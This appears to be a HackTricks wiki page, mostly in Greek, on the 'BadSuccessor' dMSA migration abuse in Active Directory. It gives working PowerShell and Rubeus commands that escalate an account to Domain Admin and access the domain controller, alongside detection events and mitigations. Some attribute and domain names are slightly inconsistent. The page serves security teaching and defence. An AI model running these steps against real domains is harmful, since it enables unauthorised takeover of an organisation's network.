BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Overview

Delegated Managed Service Accounts (dMSA) είναι ο επόμενης γενιάς διάδοχος των gMSA που περιλαμβάνονται στα Windows Server 2025. Μια νόμιμη ροή εργασίας μετανάστευσης επιτρέπει στους διαχειριστές να αντικαταστήσουν έναν παλιό λογαριασμό (χρήστη, υπολογιστή ή λογαριασμό υπηρεσίας) με ένα dMSA διατηρώντας διαφανώς τις άδειες. Η ροή εργασίας εκτίθεται μέσω των PowerShell cmdlets όπως Start-ADServiceAccountMigration και Complete-ADServiceAccountMigration και βασίζεται σε δύο LDAP χαρακτηριστικά του dMSA object:

  • msDS-ManagedAccountPrecededByLinkDN link στον υπερκείμενο (παλιό) λογαριασμό.
  • msDS-DelegatedMSAState – κατάσταση μετανάστευσης (0 = καμία, 1 = σε εξέλιξη, 2 = ολοκληρωμένη).

Εάν ένας επιτιθέμενος μπορεί να δημιουργήσει οποιοδήποτε dMSA μέσα σε μια OU και να χειριστεί άμεσα αυτά τα 2 χαρακτηριστικά, οι LSASS & KDC θα θεωρήσουν το dMSA ως διάδοχο του συνδεδεμένου λογαριασμού. Όταν ο επιτιθέμενος στη συνέχεια αυθεντικοποιείται ως dMSA κληρονομεί όλα τα δικαιώματα του συνδεδεμένου λογαριασμού – έως Domain Admin αν ο λογαριασμός Administrator είναι συνδεδεμένος.

Αυτή η τεχνική ονομάστηκε BadSuccessor από την Unit 42 το 2025. Στη στιγμή της συγγραφής δεν είναι διαθέσιμο κανένα security patch; μόνο η σκληροποίηση των αδειών OU μετριάζει το ζήτημα.

Attack prerequisites

  1. Ένας λογαριασμός που επιτρέπεται να δημιουργεί αντικείμενα μέσα σε μια Οργανωτική Μονάδα (OU) και έχει τουλάχιστον ένα από τα εξής:
  • Create ChildmsDS-DelegatedManagedServiceAccount object class
  • Create ChildAll Objects (γενική δημιουργία)
  1. Δικτυακή συνδεσιμότητα με LDAP & Kerberos (τυπικό σενάριο συνδεδεμένου τομέα / απομακρυσμένη επίθεση).

Enumerating Vulnerable OUs

Η Unit 42 δημοσίευσε ένα PowerShell helper script που αναλύει τους περιγραφείς ασφαλείας κάθε OU και επισημαίνει τις απαιτούμενες ACEs:

powershell
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local

Κάτω από την επιφάνεια, το σενάριο εκτελεί μια σελιδοποιημένη αναζήτηση LDAP για (objectClass=organizationalUnit) και ελέγχει κάθε nTSecurityDescriptor για

  • ADS_RIGHT_DS_CREATE_CHILD (0x0001)
  • Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8 (object class msDS-DelegatedManagedServiceAccount)

Βήματα Εκμετάλλευσης

Μόλις εντοπιστεί ένα εγ writable OU, η επίθεση είναι μόνο 3 εγγραφές LDAP μακριά:

powershell
# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
-DNSHostName host.contoso.local \
-Path "OU=DelegatedOU,DC=contoso,DC=com"

# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}

# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}

Μετά την αναπαραγωγή, ο επιτιθέμενος μπορεί απλά να logon ως attacker_dMSA$ ή να ζητήσει ένα Kerberos TGT – τα Windows θα δημιουργήσουν το token του superseded λογαριασμού.

Αυτοματοποίηση

Πολλές δημόσιες PoCs περιλαμβάνουν ολόκληρη τη ροή εργασίας, συμπεριλαμβανομένης της ανάκτησης κωδικού πρόσβασης και της διαχείρισης εισιτηρίων:

Μετά την εκμετάλλευση

powershell
# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>

# Access Domain Admin resources
dir \\DC01\C$

Ανίχνευση & Κυνήγι

Ενεργοποιήστε την Επιθεώρηση Αντικειμένων σε OUs και παρακολουθήστε τα εξής Windows Security Events:

  • 5137 – Δημιουργία του αντικειμένου dMSA
  • 5136 – Τροποποίηση του msDS-ManagedAccountPrecededByLink
  • 4662 – Συγκεκριμένες αλλαγές χαρακτηριστικών
  • GUID 2f5c138a-bd38-4016-88b4-0ec87cbb4919msDS-DelegatedMSAState
  • GUID a0945b2b-57a2-43bd-b327-4d112a4e8bd1msDS-ManagedAccountPrecededByLink
  • 2946 – Έκδοση TGT για το dMSA

Η συσχέτιση 4662 (τροποποίηση χαρακτηριστικών), 4741 (δημιουργία υπολογιστή/λογαριασμού υπηρεσίας) και 4624 (επόμενη σύνδεση) επισημαίνει γρήγορα τη δραστηριότητα BadSuccessor. Οι λύσεις XDR όπως το XSIAM περιλαμβάνουν έτοιμες προς χρήση ερωτήσεις (βλ. αναφορές).

Μετριασμός

  • Εφαρμόστε την αρχή της ελάχιστης εξουσίας – μόνο αναθέστε τη διαχείριση Λογαριασμού Υπηρεσίας σε αξιόπιστους ρόλους.
  • Αφαιρέστε το Create Child / msDS-DelegatedManagedServiceAccount από OUs που δεν το απαιτούν ρητά.
  • Παρακολουθήστε τα IDs γεγονότων που αναφέρονται παραπάνω και ειδοποιήστε για μη-Tier-0 ταυτότητες που δημιουργούν ή επεξεργάζονται dMSAs.

Δείτε επίσης

Golden Dmsa Gmsa

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks